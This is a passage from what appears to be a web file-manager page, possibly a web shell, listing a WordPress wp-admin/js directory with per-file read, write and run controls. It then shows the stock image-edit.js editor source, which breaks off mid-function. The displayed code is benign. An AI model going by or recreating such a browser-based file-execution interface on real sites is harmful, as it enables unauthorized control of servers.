at path:ROOT / wp-admin / js / image-edit.js
run:R W Run
DIR
2026-01-24 15:10:18
R W Run
9.94 KB
2024-11-13 19:02:13
R W Run
7.82 KB
2024-11-13 19:02:13
R W Run
13.32 KB
2023-09-17 22:51:24
R W Run
10.03 KB
2023-09-17 22:51:24
R W Run
12.74 KB
2021-02-23 19:45:04
R W Run
9.11 KB
2022-04-08 20:07:18
R W Run
18.39 KB
2020-07-27 23:35:02
R W Run
10.09 KB
2023-02-02 16:36:32
R W Run
16.62 KB
2021-03-18 19:01:03
R W Run
10.48 KB
2022-04-08 20:07:18
R W Run
9.93 KB
2024-02-11 19:14:19
R W Run
8.36 KB
2022-04-08 20:07:18
R W Run
68.23 KB
2025-05-01 01:03:19
R W Run
30.2 KB
2025-05-01 01:03:19
R W Run
10.43 KB
2021-03-18 19:01:03
R W Run
8.26 KB
2021-03-18 19:01:03
R W Run
9.05 KB
2021-02-23 19:45:04
R W Run
295.49 KB
2025-12-03 06:22:56
R W Run
116.77 KB
2025-12-03 06:22:56
R W Run
118.54 KB
2025-12-03 06:22:56
R W Run
54.22 KB
2025-12-03 06:22:56
R W Run
77.12 KB
2024-09-04 11:48:32
R W Run
34.49 KB
2025-04-16 02:33:33
R W Run
34.09 KB
2025-04-16 02:33:33
R W Run
15.73 KB
2025-04-16 02:33:33
R W Run
44.19 KB
2025-04-16 02:33:33
R W Run
22.2 KB
2025-04-16 02:33:33
R W Run
48.68 KB
2024-09-04 11:48:32
R W Run
20.21 KB
2023-02-02 16:36:32
R W Run
51.08 KB
2025-12-03 06:22:56
R W Run
19.86 KB
2025-12-03 06:22:56
R W Run
14.74 KB
2023-07-17 22:03:26
R W Run
12.49 KB
2023-10-09 21:31:27
R W Run
10.73 KB
2023-10-09 21:31:27
R W Run
47.05 KB
2024-11-13 19:02:13
R W Run
22.23 KB
2024-11-13 19:02:13
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
27.24 KB
2024-11-13 19:02:13
R W Run
16.49 KB
2024-11-13 19:02:13
R W Run
14.69 KB
2021-03-18 19:01:03
R W Run
10 KB
2021-03-18 19:01:03
R W Run
30.17 KB
2021-11-03 19:40:00
R W Run
7.95 KB
2021-02-23 19:45:04
R W Run
7.49 KB
2021-02-23 19:45:04
R W Run
10.97 KB
2021-03-18 19:01:03
R W Run
8.78 KB
2021-03-18 19:01:03
R W Run
8.35 KB
2021-02-23 19:45:04
R W Run
7.67 KB
2022-04-08 20:07:18
R W Run
10.46 KB
2021-01-22 12:32:03
R W Run
8.2 KB
2023-02-02 16:36:32
R W Run
13.68 KB
2024-11-13 19:02:13
R W Run
9.46 KB
2024-11-13 19:02:13
R W Run
68.23 KB
2025-12-03 06:22:56
R W Run
37.14 KB
2025-12-03 06:22:56
R W Run
11.21 KB
2021-01-22 12:32:03
R W Run
8.17 KB
2021-01-22 12:32:03
R W Run
8.38 KB
2023-06-23 23:09:29
R W Run
7.91 KB
2023-06-23 23:09:29
R W Run
14 KB
2021-03-18 19:01:03
R W Run
9.42 KB
2023-02-02 16:36:32
R W Run
45.76 KB
2025-02-12 01:13:52
R W Run
25.48 KB
2025-02-12 01:13:52
R W Run
25.57 KB
2025-04-16 02:33:33
R W Run
13.68 KB
2025-04-16 02:33:33
R W Run
17.74 KB
2024-09-04 11:48:32
R W Run
12.11 KB
2024-09-04 11:48:32
R W Run
40.99 KB
2024-11-13 19:02:13
R W Run
25.05 KB
2024-11-13 19:02:13
R W Run
7.93 KB
2020-07-07 18:55:04
R W Run
7.68 KB
2020-07-07 18:55:04
R W Run
20.23 KB
2023-12-28 15:27:15
R W Run
13.21 KB
2023-12-28 15:27:15
R W Run
13.17 KB
2024-11-13 19:02:13
R W Run
9.28 KB
2024-11-13 19:02:13
R W Run
10.28 KB
2024-11-13 19:02:13
R W Run
8.61 KB
2024-11-13 19:02:13
R W Run
17.96 KB
2021-03-18 19:01:03
R W Run
10.08 KB
2023-02-02 16:36:32
R W Run
12.71 KB
2024-02-18 22:16:14
R W Run
9.29 KB
2024-02-18 22:16:14
R W Run
13.03 KB
2025-12-03 06:22:56
R W Run
9.49 KB
2025-12-03 06:22:56
R W Run
31.84 KB
2025-04-16 02:33:33
R W Run
18.51 KB
2025-04-16 02:33:33
R W Run
62.02 KB
2025-12-03 06:22:56
R W Run
33.58 KB
2025-12-03 06:22:56
R W Run
116.45 KB
2025-12-03 06:22:56
R W Run
54.39 KB
2025-12-03 06:22:56
R W Run
24.99 KB
2025-12-03 06:22:56
R W Run
14.89 KB
2025-12-03 06:22:56
R W Run
9.32 KB
2021-03-18 19:01:03
R W Run
7.74 KB
2021-03-18 19:01:03
R W Run
29.63 KB
2021-03-18 19:01:03
R W Run
19.39 KB
2023-02-02 16:36:32
R W Run
14.59 KB
2020-07-27 23:35:02
R W Run
8.57 KB
2023-02-02 16:36:32
R W Run
7.8 KB
2021-03-18 19:01:03
R W Run
7.53 KB
2021-03-18 19:01:03
R W Run
error_log
📄image-edit.js
1/**
2 * The functions necessary for editing images.
3 *
4 * @since 2.9.0
5 * @output wp-admin/js/image-edit.js
6 */
7
8 /* global ajaxurl, confirm */
9
10(function($) {
11 var __ = wp.i18n.__;
12
13 /**
14 * Contains all the methods to initialize and control the image editor.
15 *
16 * @namespace imageEdit
17 */
18 var imageEdit = window.imageEdit = {
19 iasapi : {},
20 hold : {},
21 postid : '',
22 _view : false,
23
24 /**
25 * Enable crop tool.
26 */
27 toggleCropTool: function( postid, nonce, cropButton ) {
28 var img = $( '#image-preview-' + postid ),
29 selection = this.iasapi.getSelection();
30
31 imageEdit.toggleControls( cropButton );
32 var $el = $( cropButton );
33 var state = ( $el.attr( 'aria-expanded' ) === 'true' ) ? 'true' : 'false';
34 // Crop tools have been closed.
35 if ( 'false' === state ) {
36 // Cancel selection, but do not unset inputs.
37 this.iasapi.cancelSelection();
38 imageEdit.setDisabled($('.imgedit-crop-clear'), 0);
39 } else {
40 imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
41 // Get values from inputs to restore previous selection.
42 var startX = ( $( '#imgedit-start-x-' + postid ).val() ) ? $('#imgedit-start-x-' + postid).val() : 0;
43 var startY = ( $( '#imgedit-start-y-' + postid ).val() ) ? $('#imgedit-start-y-' + postid).val() : 0;
44 var width = ( $( '#imgedit-sel-width-' + postid ).val() ) ? $('#imgedit-sel-width-' + postid).val() : img.innerWidth();
45 var height = ( $( '#imgedit-sel-height-' + postid ).val() ) ? $('#imgedit-sel-height-' + postid).val() : img.innerHeight();
46 // Ensure selection is available, otherwise reset to full image.
47 if ( isNaN( selection.x1 ) ) {
48 this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } );
49 selection = this.iasapi.getSelection();
50 }
51
52 // If we don't already have a selection, select the entire image.
53 if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) {
54 this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true );
55 this.iasapi.setOptions( { show: true } );
56 this.iasapi.update();
57 } else {
58 this.iasapi.setSelection( startX, startY, width, height, true );
59 this.iasapi.setOptions( { show: true } );
60 this.iasapi.update();
61 }
62 }
63 },
64
65 /**
66 * Handle crop tool clicks.
67 */
68 handleCropToolClick: function( postid, nonce, cropButton ) {
69
70 if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) {
71 this.iasapi.cancelSelection();
72 imageEdit.setDisabled($('.imgedit-crop-apply'), 0);
73
74 $('#imgedit-sel-width-' + postid).val('');
75 $('#imgedit-sel-height-' + postid).val('');
76 $('#imgedit-start-x-' + postid).val('0');
77 $('#imgedit-start-y-' + postid).val('0');
78 $('#imgedit-selection-' + postid).val('');
79 } else {
80 // Otherwise, perform the crop.
81 imageEdit.crop( postid, nonce , cropButton );
82 }
83 },
84
85 /**
86 * Converts a value to an integer.
87 *
88 * @since 2.9.0
89 *
90 * @memberof imageEdit
91 *
92 * @param {number} f The float value that should be converted.
93 *
94 * @return {number} The integer representation from the float value.
95 */
96 intval : function(f) {
97 /*
98 * Bitwise OR operator: one of the obscure ways to truncate floating point figures,
99 * worth reminding JavaScript doesn't have a distinct "integer" type.
100 */
101 return f | 0;
102 },
103
104 /**
105 * Adds the disabled attribute and class to a single form element or a field set.
106 *
107 * @since 2.9.0
108 *
109 * @memberof imageEdit
110 *
111 * @param {jQuery} el The element that should be modified.
112 * @param {boolean|number} s The state for the element. If set to true
113 * the element is disabled,
114 * otherwise the element is enabled.
115 * The function is sometimes called with a 0 or 1
116 * instead of true or false.
117 *
118 * @return {void}
119 */
120 setDisabled : function( el, s ) {
121 /*
122 * `el` can be a single form element or a fieldset. Before #28864, the disabled state on
123 * some text fields was handled targeting $('input', el). Now we need to handle the
124 * disabled state on buttons too so we can just target `el` regardless if it's a single
125 * element or a fieldset because when a fieldset is disabled, its descendants are disabled too.
126 */
127 if ( s ) {
128 el.removeClass( 'disabled' ).prop( 'disabled', false );
129 } else {
130 el.addClass( 'disabled' ).prop( 'disabled', true );
131 }
132 },
133
134 /**
135 * Initializes the image editor.
136 *
137 * @since 2.9.0
138 *
139 * @memberof imageEdit
140 *
141 * @param {number} postid The post ID.
142 *
143 * @return {void}
144 */
145 init : function(postid) {
146 var t = this, old = $('#image-editor-' + t.postid);
147
148 if ( t.postid !== postid && old.length ) {
149 t.close(t.postid);
150 }
151
152 t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
153 t.postid = postid;
154 $('#imgedit-response-' + postid).empty();
155
156 $('#imgedit-panel-' + postid).on( 'keypress', function(e) {
157 var nonce = $( '#imgedit-nonce-' + postid ).val();
158 if ( e.which === 26 && e.ctrlKey ) {
159 imageEdit.undo( postid, nonce );
160 }
161
162 if ( e.which === 25 && e.ctrlKey ) {
163 imageEdit.redo( postid, nonce );
164 }
165 });
166
167 $('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) {
168 var k = e.keyCode;
169
170 // Key codes 37 through 40 are the arrow keys.
171 if ( 36 < k && k < 41 ) {
172 $(this).trigger( 'blur' );
173 }
174
175 // The key code 13 is the Enter key.
176 if ( 13 === k ) {
177 e.preventDefault();
178 e.stopPropagation();
179 return false;
180 }
181 });
182
183 $( document ).on( 'image-editor-ui-ready', this.focusManager );
184 },
185
186 /**
187 * Calculate the image size and save it to memory.
188 *
189 * @since 6.7.0
190 *
191 * @memberof imageEdit
192 *
193 * @param {number} postid The post ID.
194 *
195 * @return {void}
196 */
197 calculateImgSize: function( postid ) {
198 var t = this,
199 x = t.intval( $( '#imgedit-x-' + postid ).val() ),
200 y = t.intval( $( '#imgedit-y-' + postid ).val() );
201
202 t.hold.w = t.hold.ow = x;
203 t.hold.h = t.hold.oh = y;
204 t.hold.xy_ratio = x / y;
205 t.hold.sizer = parseFloat( $( '#imgedit-sizer-' + postid ).val() );
206 t.currentCropSelection = null;
207 },
208
209 /**
210 * Toggles the wait/load icon in the editor.
211 *
212 * @since 2.9.0
213 * @since 5.5.0 Added the triggerUIReady parameter.
214 *
215 * @memberof imageEdit
216 *
217 * @param {number} postid The post ID.
218 * @param {number} toggle Is 0 or 1, fades the icon in when 1 and out when 0.
219 * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false.
220 *
221 * @return {void}
222 */
223 toggleEditor: function( postid, toggle, triggerUIReady ) {
224 var wait = $('#imgedit-wait-' + postid);
225
226 if ( toggle ) {
227 wait.fadeIn( 'fast' );
228 } else {
229 wait.fadeOut( 'fast', function() {
230 if ( triggerUIReady ) {
231 $( document ).trigger( 'image-editor-ui-ready' );
232 }
233 } );
234 }
235 },
236
237 /**
238 * Shows or hides image menu popup.
239 *
240 * @since 6.3.0
241 *
242 * @memberof imageEdit
243 *
244 * @param {HTMLElement} el The activated control element.
245 *
246 * @return {boolean} Always returns false.
247 */
248 togglePopup : function(el) {
249 var $el = $( el );
250 var $targetEl = $( el ).attr( 'aria-controls' );
251 var $target = $( '#' + $targetEl );
252 $el
253 .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
254 // Open menu and set z-index to appear above image crop area if it is enabled.
255 $target
256 .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } );
257 // Move focus to first item in menu when opening menu.
258 if ( 'true' === $el.attr( 'aria-expanded' ) ) {
259 $target.find( 'button' ).first().trigger( 'focus' );
260 }
261
262 return false;
263 },
264
265 /**
266 * Observes whether the popup should remain open based on focus position.
267 *
268 * @since 6.4.0
269 *
270 * @memberof imageEdit
271 *
272 * @param {HTMLElement} el The activated control element.
273 *
274 * @return {boolean} Always returns false.
275 */
276 monitorPopup : function() {
277 var $parent = document.querySelector( '.imgedit-rotate-menu-container' );
278 var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' );
279
280 setTimeout( function() {
281 var $focused = document.activeElement;
282 var $contains = $parent.contains( $focused );
283
284 // If $focused is defined and not inside the menu container, close the popup.
285 if ( $focused && ! $contains ) {
286 if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) {
287 imageEdit.togglePopup( $toggle );
288 }
289 }
290 }, 100 );
291
292 return false;
293 },
294
295 /**
296 * Navigate popup menu by arrow keys.
297 *
298 * @since 6.3.0
299 * @since 6.7.0 Added the event parameter.
300 *
301 * @memberof imageEdit
302 *
303 * @param {Event} event The key or click event.
304 * @param {HTMLElement} el The current element.
305 *
306 * @return {boolean} Always returns false.
307 */
308 browsePopup : function(event, el) {
309 var $el = $( el );
310 var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' );
311 var $index = $collection.index( $el );
312 var $prev = $index - 1;
313 var $next = $index + 1;
314 var $last = $collection.length;
315 if ( $prev < 0 ) {
316 $prev = $last - 1;
317 }
318 if ( $next === $last ) {
319 $next = 0;
320 }
321 var target = false;
322 if ( event.keyCode === 40 ) {
323 target = $collection.get( $next );
324 } else if ( event.keyCode === 38 ) {
325 target = $collection.get( $prev );
326 }
327 if ( target ) {
328 target.focus();
329 event.preventDefault();
330 }
331
332 return false;
333 },
334
335 /**
336 * Close popup menu and reset focus on feature activation.
337 *
338 * @since 6.3.0
339 *
340 * @memberof imageEdit
341 *
342 * @param {HTMLElement} el The current element.
343 *
344 * @return {boolean} Always returns false.
345 */
346 closePopup : function(el) {
347 var $parent = $(el).parent( '.imgedit-popup-menu' );
348 var $controlledID = $parent.attr( 'id' );
349 var $target = $( 'button[aria-controls="' + $controlledID + '"]' );
350 $target
351 .attr( 'aria-expanded', 'false' ).trigger( 'focus' );
352 $parent
353 .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' );
354
355 return false;
356 },
357
358 /**
359 * Shows or hides the image edit help box.
360 *
361 * @since 2.9.0
362 *
363 * @memberof imageEdit
364 *
365 * @param {HTMLElement} el The element to create the help window in.
366 *
367 * @return {boolean} Always returns false.
368 */
369 toggleHelp : function(el) {
370 var $el = $( el );
371 $el
372 .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' )
373 .parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );
374
375 return false;
376 },
377
378 /**
379 * Shows or hides image edit input fields when enabled.
380 *
381 * @since 6.3.0
382 *
383 * @memberof imageEdit
384 *
385 * @param {HTMLElement} el The element to trigger the edit panel.
386 *
387 * @return {boolean} Always returns false.
388 */
389 toggleControls : function(el) {
390 var $el = $( el );
391 var $target = $( '#' + $el.attr( 'aria-controls' ) );
392 $el
393 .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
394 $target
395 .parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' );
396
397 return false;
398 },
399
400 /**
401 * Gets the value from the image edit target.
402 *
403 * The image edit target contains the image sizes where the (possible) changes
404 * have to be applied to.
405 *
406 * @since 2.9.0
407 *
408 * @memberof imageEdit
409 *
410 * @param {number} postid The post ID.
411 *
412 * @return {string} The value from the imagedit-save-target input field when available,
413 * 'full' when not selected, or 'all' if it doesn't exist.
414 */
415 getTarget : function( postid ) {
416 var element = $( '#imgedit-save-target-' + postid );
417
418 if ( element.length ) {
419 return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full';
420 }
421
422 return 'all';
423 },
424
425 /**
426 * Recalculates the height or width and keeps the original aspect ratio.
427 *
428 * If the original image size is exceeded a red exclamation mark is shown.
429 *
430 * @since 2.9.0
431 *
432 * @memberof imageEdit
433 *
434 * @param {number} postid The current post ID.
435 * @param {number} x Is 0 when it applies the y-axis
436 * and 1 when applicable for the x-axis.
437 * @param {jQuery} el Element.
438 *
439 * @return {void}
440 */
441 scaleChanged : function( postid, x, el ) {
442 var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
443 warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '',
444 scaleBtn = $('#imgedit-scale-button');
445
446 if ( false === this.validateNumeric( el ) ) {
447 return;
448 }
449
450 if ( x ) {
451 h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
452 h.val( h1 );
453 } else {
454 w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
455 w.val( w1 );
456 }
457
458 if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
459 warn.css('visibility', 'visible');
460 scaleBtn.prop('disabled', true);
461 } else {
462 warn.css('visibility', 'hidden');
463 scaleBtn.prop('disabled', false);
464 }
465 },
466
467 /**
468 * Gets the selected aspect ratio.
469 *
470 * @since 2.9.0
471 *
472 * @memberof imageEdit
473 *
474 * @param {number} postid The post ID.
475 *
476 * @return {string} The aspect ratio.
477 */
478 getSelRatio : function(postid) {
479 var x = this.hold.w, y = this.hold.h,
480 X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
481 Y = this.intval( $('#imgedit-crop-height-' + postid).val() );
482
483 if ( X && Y ) {
484 return X + ':' + Y;
485 }
486
487 if ( x && y ) {
488 return x + ':' + y;
489 }
490
491 return '1:1';
492 },
493
494 /**
495 * Removes the last action from the image edit history.
496 * The history consist of (edit) actions performed on the image.
497 *
498 * @since 2.9.0
499 *
500 * @memberof imageEdit
501 *
502 * @param {number} postid The post ID.
503 * @param {number} setSize 0 or 1, when 1 the image resets to its original size.
504 *
505 * @return {string} JSON string containing the history or an empty string if no history exists.
506 */
507 filterHistory : function(postid, setSize) {
508 // Apply undo state to history.
509 var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];
510
511 if ( history !== '' ) {
512 // Read the JSON string with the image edit history.
513 history = JSON.parse(history);
514 pop = this.intval( $('#imgedit-undone-' + postid).val() );
515 if ( pop > 0 ) {
516 while ( pop > 0 ) {
517 history.pop();
518 pop--;
519 }
520 }
521
522 // Reset size to its original state.
523 if ( setSize ) {
524 if ( !history.length ) {
525 this.hold.w = this.hold.ow;
526 this.hold.h = this.hold.oh;
527 return '';
528 }
529
530 // Restore original 'o'.
531 o = history[history.length - 1];
532
533 // c = 'crop', r = 'rotate', f = 'flip'.
534 o = o.c || o.r || o.f || false;
535
536 if ( o ) {
537 // fw = Full image width.
538 this.hold.w = o.fw;
539 // fh = Full image height.
540 this.hold.h = o.fh;
541 }
542 }
543
544 // Filter the last step/action from the history.
545 for ( n in history ) {
546 i = history[n];
547 if ( i.hasOwnProperty('c') ) {
548 op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h, 'r': i.c.r } };
549 } else if ( i.hasOwnProperty('r') ) {
550 op[n] = { 'r': i.r.r };
551 } else if ( i.hasOwnProperty('f') ) {
552 op[n] = { 'f': i.f.f };
553 }
554 }
555 return JSON.stringify(op);
556 }
557 return '';
558 },
559 /**
560 * Binds the necessary events to the image.
561 *
562 * When the image source is reloaded the image will be reloaded.
563 *
564 * @since 2.9.0
565 *
566 * @memberof imageEdit
567 *
568 * @param {number} postid The post ID.
569 * @param {string} nonce The nonce to verify the request.
570 * @param {function} callback Function to execute when the image is loaded.
571 *
572 * @return {void}
573 */
574 refreshEditor : function(postid, nonce, callback) {
575 var t = this, data, img;
576
577 t.toggleEditor(postid, 1);
578 data = {
579 'action': 'imgedit-preview',
580 '_ajax_nonce': nonce,
581 'postid': postid,
582 'history': t.filterHistory(postid, 1),
583 'rand': t.intval(Math.random() * 1000000)
584 };
585
586 img = $( '<img id="image-preview-' + postid + '" alt="" />' )
587 .on( 'load', { history: data.history }, function( event ) {
588 var max1, max2,
589 parent = $( '#imgedit-crop-' + postid ),
590 t = imageEdit,
591 historyObj;
592
593 // Checks if there already is some image-edit history.
594 if ( '' !== event.data.history ) {
595 historyObj = JSON.parse( event.data.history );
596 // If last executed action in history is a crop action.
597 if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) {
598 /*
599 * A crop action has completed and the crop button gets disabled
600 * ensure the undo button is enabled.
601 */
602 t.setDisabled( $( '#image-undo-' + postid) , true );
603 // Move focus to the undo button to avoid a focus loss.
604 $( '#image-undo-' + postid ).trigger( 'focus' );
605 }
606 }
607
608 parent.empty().append(img);
609
610 // w, h are the new full size dimensions.
611 max1 = Math.max( t.hold.w, t.hold.h );
612 max2 = Math.max( $(img).width(), $(img).height() );
613 t.hold.sizer = max1 > max2 ? max2 / max1 : 1;
614
615 t.initCrop(postid, img, parent);
616
617 if ( (typeof callback !== 'undefined') && callback !== null ) {
618 callback();
619 }
620
621 if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
622 $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false);
623 } else {
624 $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
625 }
626 var successMessage = __( 'Image updated.' );
627
628 t.toggleEditor(postid, 0);
629 wp.a11y.speak( successMessage, 'assertive' );
630 })
631 .on( 'error', function() {
632 var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' );
633
634 $( '#imgedit-crop-' + postid )
635 .empty()
636 .append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
637
638 t.toggleEditor( postid, 0, true );
639 wp.a11y.speak( errorMessage, 'assertive' );
640 } )
641 .attr('src', ajaxurl + '?' + $.param(data));
642 },
643 /**
644 * Performs an image edit action.
645 *
646 * @since 2.9.0
647 *
648 * @memberof imageEdit
649 *
650 * @param {number} postid The post ID.
651 * @param {string} nonce The nonce to verify the request.
652 * @param {string} action The action to perform on the image.
653 * The possible actions are: "scale" and "restore".
654 *
655 * @return {boolean|void} Executes a post request that refreshes the page
656 * when the action is performed.
657 * Returns false if an invalid action is given,
658 * or when the action cannot be performed.
659 */
660 action : function(postid, nonce, action) {
661 var t = this, data, w, h, fw, fh;
662
663 if ( t.notsaved(postid) ) {
664 return false;
665 }
666
667 data = {
668 'action': 'image-editor',
669 '_ajax_nonce': nonce,
670 'postid': postid
671 };
672
673 if ( 'scale' === action ) {
674 w = $('#imgedit-scale-width-' + postid),
675 h = $('#imgedit-scale-height-' + postid),
676 fw = t.intval(w.val()),
677 fh = t.intval(h.val());
678
679 if ( fw < 1 ) {
680 w.trigger( 'focus' );
681 return false;
682 } else if ( fh < 1 ) {
683 h.trigger( 'focus' );
684 return false;
685 }
686
687 if ( fw === t.hold.ow || fh === t.hold.oh ) {
688 return false;
689 }
690
691 data['do'] = 'scale';
692 data.fwidth = fw;
693 data.fheight = fh;
694 } else if ( 'restore' === action ) {
695 data['do'] = 'restore';
696 } else {
697 return false;
698 }
699
700 t.toggleEditor(postid, 1);
701 $.post( ajaxurl, data, function( response ) {
702 $( '#image-editor-' + postid ).empty().append( response.data.html );
703 t.toggleEditor( postid, 0, true );
704 // Refresh the attachment model so that changes propagate.
705 if ( t._view ) {
706 t._view.refresh();
707 }
708 } ).done( function( response ) {
709 // Whether the executed action was `scale` or `restore`, the response does have a message.
710 if ( response && response.data.message.msg ) {
711 wp.a11y.speak( response.data.message.msg );
712 return;
713 }
714
715 if ( response && response.data.message.error ) {
716 wp.a11y.speak( response.data.message.error );
717 }
718 } );
719 },
720
721 /**
722 * Stores the changes that are made to the image.
723 *
724 * @since 2.9.0
725 *
726 * @memberof imageEdit
727 *
728 * @param {number} postid The post ID to get the image from the database.
729 * @param {string} nonce The nonce to verify the request.
730 *
731 * @return {boolean|void} If the actions are successfully saved a response message is shown.
732 * Returns false if there is no image editing history,
733 * thus there are not edit-actions performed on the image.
734 */
735 save : function(postid, nonce) {
736 var data,
737 target = this.getTarget(postid),
738 history = this.filterHistory(postid, 0),
739 self = this;
740
741 if ( '' === history ) {
742 return false;
743 }
744
745 this.toggleEditor(postid, 1);
746 data = {
747 'action': 'image-editor',
748 '_ajax_nonce': nonce,
749 'postid': postid,
750 'history': history,
751 'target': target,
752 'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
753 'do': 'save'
754 };
755 // Post the image edit data to the backend.
756 $.post( ajaxurl, data, function( response ) {
757 // If a response is returned, close the editor and show an error.
758 if ( response.data.error ) {
759 $( '#imgedit-response-' + postid )
760 .html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' );
761
762 imageEdit.close(postid);
763 wp.a11y.speak( response.data.error );
764 return;
765 }
766
767 if ( response.data.fw && response.data.fh ) {
768 $( '#media-dims-' + postid ).html( response.data.fw + ' &times; ' + response.data.fh );
769 }
770
771 if ( response.data.thumbnail ) {
772 $( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail );
773 }
774
775 if ( response.data.msg ) {
776 $( '#imgedit-response-' + postid )
777 .html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' );
778
779 wp.a11y.speak( response.data.msg );
780 }
781
782 if ( self._view ) {
783 self._view.save();
784 } else {
785 imageEdit.close(postid);
786 }
787 });
788 },
789
790 /**
791 * Creates the image edit window.
792 *
793 * @since 2.9.0
794 *
795 * @memberof imageEdit
796 *
797 * @param {number} postid The post ID for the image.
798 * @param {string} nonce The nonce to verify the request.
799 * @param {Object} view The image editor view to be used for the editing.
800 *
801 * @return {void|promise} Either returns void if the button was already activated
802 * or returns an instance of the image editor, wrapped in a promise.
803 */
804 open : function( postid, nonce, view ) {
805 this._view = view;
806
807 var dfd, data,
808 elem = $( '#image-editor-' + postid ),
809 head = $( '#media-head-' + postid ),
810 btn = $( '#imgedit-open-btn-' + postid ),
811 spin = btn.siblings( '.spinner' );
812
813 /*
814 * Instead of disabling the button, which causes a focus loss and makes screen
815 * readers announce "unavailable", return if the button was already clicked.
816 */
817 if ( btn.hasClass( 'button-activated' ) ) {
818 return;
819 }
820
821 spin.addClass( 'is-active' );
822
823 data = {
824 'action': 'image-editor',
825 '_ajax_nonce': nonce,
826 'postid': postid,
827 'do': 'open'
828 };
829
830 dfd = $.ajax( {
831 url: ajaxurl,
832 type: 'post',
833 data: data,
834 beforeSend: function() {
835 btn.addClass( 'button-activated' );
836 }
837 } ).done( function( response ) {
838 var errorMessage;
839
840 if ( '-1' === response ) {
841 errorMessage = __( 'Could not load the preview image.' );
842 elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );
843 }
844
845 if ( response.data && response.data.html ) {
846 elem.html( response.data.html );
847 }
848
849 head.fadeOut( 'fast', function() {
850 elem.fadeIn( 'fast', function() {
851 if ( errorMessage ) {
852 $( document ).trigger( 'image-editor-ui-ready' );
853 }
854 } );
855 btn.removeClass( 'button-activated' );
856 spin.removeClass( 'is-active' );
857 } );
858 // Initialize the Image Editor now that everything is ready.
859 imageEdit.init( postid );
860 } );
861
862 return dfd;
863 },
864
865 /**
866 * Initializes the cropping tool and sets a default cropping selection.
867 *
868 * @since 2.9.0
869 *
870 * @memberof imageEdit
871 *
872 * @param {number} postid The post ID.
873 *
874 * @return {void}
875 */
876 imgLoaded : function(postid) {
877 var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);
878
879 // Ensure init has run even when directly loaded.
880 if ( 'undefined' === typeof this.hold.sizer ) {
881 this.init( postid );
882 }
883 this.calculateImgSize( postid );
884
885 this.initCrop(postid, img, parent);
886 this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } );
887
888 this.toggleEditor( postid, 0, true );
889 },
890
891 /**
892 * Manages keyboard focus in the Image Editor user interface.
893 *
894 * @since 5.5.0
895 *
896 * @return {void}
897 */
898 focusManager: function() {
899 /*
900 * Editor is ready. Move focus to one of the admin alert notices displayed
901 * after a user action or to the first focusable element. Since the DOM
902 * update is pretty large, the timeout helps browsers update their
903 * accessibility tree to better support assistive technologies.
904 */
905 setTimeout( function() {
906 var elementToSetFocusTo = $( '.notice[role="alert"]' );
907
908 if ( ! elementToSetFocusTo.length ) {
909 elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' );
910 }
911
912 elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' );
913 }, 100 );
914 },
915
916 /**
917 * Initializes the cropping tool.
918 *
919 * @since 2.9.0
920 *
921 * @memberof imageEdit
922 *
923 * @param {number} postid The post ID.
924 * @param {HTMLElement} image The preview image.
925 * @param {HTMLElement} parent The preview image container.
926 *
927 * @return {void}
928 */
929 initCrop : function(postid, image, parent) {
930 var t = this,
931 selW = $('#imgedit-sel-width-' + postid),
932 selH = $('#imgedit-sel-height-' + postid),
933 $image = $( image ),
934 $img;
935
936 // Already initialized?
